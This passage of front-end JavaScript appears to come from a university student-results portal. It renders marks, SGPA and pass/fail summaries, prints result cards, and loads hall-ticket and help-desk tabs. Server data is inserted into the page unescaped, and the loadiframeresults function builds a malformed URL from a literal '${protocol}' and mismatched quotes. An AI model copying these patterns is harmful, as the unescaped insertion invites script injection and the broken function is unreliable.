              resSumm += `<b>Max. Marks :</b> ${FMAXMARKS} </br>  <b>Sec. Marks :</b> ${FTOTMARKS} </br>
              <b>S.G.P.A : </b> ${PERCENT} </br><b>Result : <span style="color:${resColor}">${RESULT}</span></b>`;
            else
              resSumm += `<b>Max. Marks :</b> ${FMAXMARKS} </br>  <b>Sec. Marks :</b> ${FTOTMARKS} </br>
              <b>Percentage :</b> ${FPERCENT} </br> <b>Result :  <span style="color:${resColor}">${RESULT}</span></b>`;
          } else {
            var resColor = "";
            RESULT.toLowerCase().includes("fail")
              ? (resColor = "red")
              : (resColor = "green");

            if (univcode == "041" || univcode == "042") {
              resSumm += `<b>S.G.P.A : </b> ${PERCENT} </br>${cgpa} <b>Result : <span style="color:${resColor}">${RESULT}</span></b>`;
            }                       
            else
              resSumm += `<b>S.G.P.A : </b> ${PERCENT} </br>${cgpa} <b>Result :<span style="color:${resColor}">${RESULT}</span> </b>`;
          }
          if (FPREVMAX != "0000")
          //CollDet  
          CollDet+= `<b>Earlier Exams : [Max. Marks: ${FPREVMAX}&nbsp;&nbsp;  Sec. Marks : ${FCGPA} ]</b>&nbsp;&nbsp;</br>`;
        } else {
          RESULT.toLowerCase().includes("fail")
            ? (color = "red")
            : (color = "green");
          
            resSumm += `<b>Max. Marks :</b> ${FMAXMARKS}&nbsp;&nbsp;  <b>Sec. Marks :</b> ${FTOTMARKS}&nbsp;&nbsp;
          <b>Percentage :</b> ${FPERCENT}&nbsp;&nbsp; <b>Result :  <span style="color:${color}">${RESULT}</span></b>`;
          if (FPREVMAX != "0000")
          //CollDet 
          if(univcode != '033') 
            resSumm+= `</br><b>Earlier Exams : [Max. Marks: ${FPREVMAX}&nbsp;&nbsp;  Sec. Marks : ${FCGPA} ]</b>&nbsp;&nbsp;`;
        }

        if (FCREDITS != undefined || FGP != undefined || FCP != undefined) {
          if (univcode != "036" && univcode != "035" && univcode != "034")
            CollDet += `<b>College : </b> ${
              studDet["FCOLLCODE"]
            } -&nbsp;&nbsp;${studDet["FCOLLNAME"]}`;

          if (studDet["FELIGREM01"] != null) {
            passingCriteria += `
            ${studDet["FELIGREM01"]} ${studDet["FELIGREM02"]} `;
          }
        } else {
          if (
            univcode != "036" &&
            univcode != "035" &&
            univcode != "041" &&
            univcode != "042"
          ) {
            CollDet += `<b>College : </b> ${
              studDet["FCOLLCODE"]
            } -&nbsp;&nbsp;${studDet["FCOLLNAME"]}`;
          }

          if (univcode == "041" || univcode == "042") {
            CollDet += `<b>College : </b> ${
              studDet["FCOLLCODE"]
            } -&nbsp;&nbsp;${studDet["FCOLLNAME"]}`;

            if (studDet["FELIGREM01"] != null) {
              passingCriteria += `${studDet["FELIGREM01"]} ${
                studDet["FELIGREM02"]
              }`;
            }
          } else {
            if (studDet["FELIGREM01"] != null) {
              passingCriteria += `${studDet["FELIGREM01"]} ${
                studDet["FELIGREM02"]
              }`;
            }
          }
        }

        html += `</tbody></table>`;
        if (footerRemarks["FRESULT_REMARKS"] != null) {
          finalNote += `<table align=left class='result_table_remarks'>
          <tr><td align=left style='text-align:justify;'>${
            footerRemarks["FRESULT_REMARKS"]
          } </td></tr>
          </table> `;
        }

        // console.log(resSumm);
        $("#res_table").html(html);
        
        var passCritVar = '';        
        univcode=='040' || univcode=='017' || univcode == '003' || univcode == '035' || univcode == '032' || univcode == '039' ? passCritVar = '' : passCritVar = '<b>Passing Criteria :</b>'
        $("#passCriteria").html(`${passCritVar} ${passingCriteria}`);

        $("#ResSummHeader").html(
          `<h5 style="color:white; ">Result Summary</h5>`
        );
        $("#ResSummDets1")
          .html(resSumm)
          .css({ "text-align": "center", margin: "2% 0% 2% 0%" });

        $("#ResSummDets2")
          .html(CollDet)
          .css({
            "background-color": "lightgrey",
            padding: "10px",
            "border-radius": "0px 0px 5px 5px",
            "text-align": "center"
          });

        $("#idFinalNote").html(finalNote);
      }
      if (error_code == 1) {
        swal(
          {
            title: "No results found",
            type: "warning",
            showCancelButton: false,
            confirmButtonColor: "#5495ff",
            confirmButtonText: "OK",
            closeOnConfirm: false
          },
          function(isConfirm) {
            if (isConfirm) swal.close();
            loadProfile();
            $("#profile").addClass("active");
            $("#resultsmenu").removeClass("active");
          }
        );
      }
    } /*
  complete: function () 
  {
    if(status === 'success')
    {
      if(usem.length > 1)
          $(`#i${sem1}results`).attr('src', `${protocol}logisys.net.in/results/${ufolder}/result.php?r=${uregno}&e=${sem1}&ct=`);  
      }
    }*/
  });
};

// ========= show Result Details ===========//
function shwResDet() {
  // console.log("shwww");
  $("#SubjResDet").show();

  $("#resdet_table").show();
  $("#subDetResBtn").hide();

  if ($("#SubjResDet").is(":visible")) {
    $("#ResBrfBtn").show();
    $("#idResCard").hide();
  } else {
    $("#ResBrfBtn").hide();
  }
}

//===== print specific div =====//
function printDiv(ScrnPrnt) {
  html = `
  <div class="row text-center" id="PrntRow" style="margin-top:30px font-size:20px" >
    <div class="text-center col-lg-8 col-lg-offset-2 col-md-8 col-md-offset-2 col-sm-12 col-xs-12">
      <b>${UNIVNAME}</b>
      </br>
      <b>Result of ${examName} Examination</b>    

    </div>
  </div>`;
  // </br>
  // <b>Name : ${FNAME}</b>
  $("#prntDet").html(html);

  console.log("print", html);
  getPrint(ScrnPrnt);
}

function getPrint(ScrnPrnt) {
  var printContents = document.getElementById(ScrnPrnt).innerHTML;
  var originalContents = document.body.innerHTML;

  document.body.innerHTML = printContents;

  window.print();

  document.body.innerHTML = originalContents;
  $("#PrntRow").hide();
}

//=== Detailed Result Display ===//
const getResDet = examno => {
  $.ajax({
    type: "get",
    url: "src/results.php?a=getResDet&examno=" + examno,
    success: response => {
      var { data, error_code } = JSON.parse(response);
      // console.log(data);
      table = ``;
      if (error_code == 0) {
        table += `<table class="table table-bordered table-hover col-lg-12 col-md-12">
        <thead class="text-center">
        <tr style = "height:40px;background-color: #184F76 !important;color: #fff;">
          <th style = "text-align:center;h">Sl. No.</th>
          <th style = "text-align:center;h">Subject Name</th>
          <th style = "text-align:center;h">Component Name</th>
          <th style = "text-align:center;h">Marks</th> 
        </tr>
        </thead>
        <tbody>`;
        var sl_no = 0;
        //<th>Subject Code</th>
        //<td><center>${j}</center></td>

        for (var i in data) {
          var d = data[i];
          // console.log(d);
          sl_no++;
          var size = Object.keys(d).length;
          table += `<tr><td rowspan="${size}"><center>${sl_no}</center></td>
          <td rowspan="${size}">${i}</td>`;
          for (var j in d) {
            var det = d[j];
            table += `
            <td><center>${det["s"]}</center></td>
            <td><center>${det["m"]}</center></td>
            </tr>`;
          }
        }
        table += `</tbody></table>`;
        // console.log(table);
        $("#resdet_table").html(table);
      }
      if (error_code == 1) {
        console.log("failed");
        swal(
          {
            title: "No results found",
            type: "warning",
            showCancelButton: false,
            confirmButtonColor: "#5495ff",
            confirmButtonText: "OK",
            closeOnConfirm: false
          },
          function(isConfirm) {
            if (isConfirm) swal.close();
            loadProfile();
            $("#profile").addClass("active");
            $("#resultsmenu").removeClass("active");
          }
        );
      }
    }
  });
};

const printResult = examno => {
  console.log(examno);
  window.location.href = "src/printResult.php?a=printRes&examno=" + examno;
};
//======================= END RESULTS  ==============================//

function loadHallTicket() {
  $.blockUI({ message: "<img src='images/Loading_icon.gif' border='0'>" });
  $.ajax({
    type: "post",
    url: "src/hallticket.php",
    //data:parameters,
    success: function(response) {
      $.unblockUI();
      response = JSON.parse(response);
      if (response.status === "success") {
        $("#loadtab").load(
          "html_modules/hallTicket.html?v=" + version,
          function() {
            $("#ht-upload").hide();
            if (response.photo == "F") {
              $("#ht-upload").show();

              swal(
                {
                  title: "Please upload photo to download hall ticket.",
                  type: "warning",
                  showCancelButton: false,
                  confirmButtonColor: "#5495ff",
                  confirmButtonText: "OK",
                  closeOnConfirm: false
                },
                function(isConfirm) {
                  if (isConfirm) swal.close();
                }
              );
            } else {
              $("#iframe").attr("src", response.url);
              //$('#objdat').attr('data',response.url);
              $("#ht-download").attr("href", response.durl);
              $("#ht-download").attr("download", response.fileName);
            }

            Dropzone.discover();
          }
        );
      } else {
        swal(
          {
            title: response.msg,
            type: "warning",
            showCancelButton: false,
            confirmButtonColor: "#5495ff",
            confirmButtonText: "OK",
            closeOnConfirm: false
          },
          function(isConfirm) {
            if (isConfirm) swal.close();
            loadProfile();
            $("#profile").addClass("active");
            $("#examHtMenu").removeClass("active");
          }
        );
      }
    }
  });
}

function loadiframeresults(folder, regno, sem) {
  if (location.protocol != "https:") {
    var protocol = "${protocol}";
  } else {
    var protocol = "https://";
  }
  var loc = `${protocol}logisys.net.in/results/"+folder+"/result.php?r="+regno+"&e="+sem+"&ct=`;
  document.getElementById("i" + sem + "results").src = loc;
}

function loadchangepassword() {
  $("#loadtab").load(
    "html_modules/changepassword.html?v=" + version,
    function() {
      var id = "";
      var dataString = "&id=" + id;

      $.ajax({
        type: "post",
        url: "src/changepassword.php",
        data: dataString,
        success: function(response) {
          response = JSON.parse(response);
        }
      });
    }
  );
}

function loadrvguidelines() {
  $("#loadtab").load("html_modules/rvguidelines.html?v=" + version);
}

// const loadApplyRVRT = () => {
//   $("#loadtab").load("html_modules/rvrtapp.html?v=" + version);
// };

function loadHelpDesk() {
  $.blockUI({ message: "<img src='images/Loading_icon.gif' border='0'>" });
  $.ajax({
    type: "post",
    url: "src/helpDesk.php",
    //data:parameters,
    success: function(response) {
      $.unblockUI();
      response = JSON.parse(response);
      if (response.status === "success") {
        $("#loadtab").load(
          "html_modules/helpDesk.html?v=" + version,
          function() {
            var colladd =
              (response.FCOLLADD1 == "" ? "" : response.FCOLLADD1 + ", ") +
              (response.FCOLLADD2 == "" ? "" : response.FCOLLADD2 + ", ") +
              (response.FCOLLADD3 == "" ? "" : response.FCOLLADD3 + ", ") +
              response.FCOLLADD4;
            colladd = colladd.replace(/,\s*$/, "");
            var strContact =
              (response.phone == "" ? "" : response.phone + ", ") +
              response.FMOBILE;
            strContact = strContact.replace(/,\s*$/, "");
            $("#studinfo").html(`<tr>
                        <td width="35%"><b>College Name</b></td>
                        <td width="2%"> : </td>
                        <td width="68%"> ${response.fcollcode}</td>
                    </tr>
                    <tr>
                        <td><b>College Address</b> </td>
                        <td width="2%"> : </td>
                        <td> ${colladd} </td>
                    </tr>
                    <tr>
                        <td><b>Contact Number</b></td>
                        <td width="2%"> : </td>
                        <td>${strContact}</td>
                    </tr>
                    <tr>
                        <td width="30%"><b>Email Id</b> </td><td width="2%"> : </td><td> ${response.FEMAIL} </td>
                    </tr>
                    <tr>
                        <td><b></b></td><td width="2%"></td><td></td>
                        <td width="30%"><b></b> </td><td width="2%"></td><td></td>
                    </tr>
                    <tr>
                        <td><b></b></td><td width="2%"></td><td></td>
                        <td width="30%"><b></b> </td><td width="2%"></td><td></td>
                    </tr>
                    <tr>
                        <td colspan="3"><b><u>For Technical Assistance </u></b></td>
                    </tr>
                    <tr>
                        <td><b>Contact Number </b></td><td width="2%"> : </td><td>${response.ftechcontact}</td>
                    </tr>
                    <tr>
                        <td><b>Email </b></td><td width="2%"> : </td><td>${response.ftechemail}</td>
                    </tr>`);
          }
        );
      } else {
      }
    }
  });
}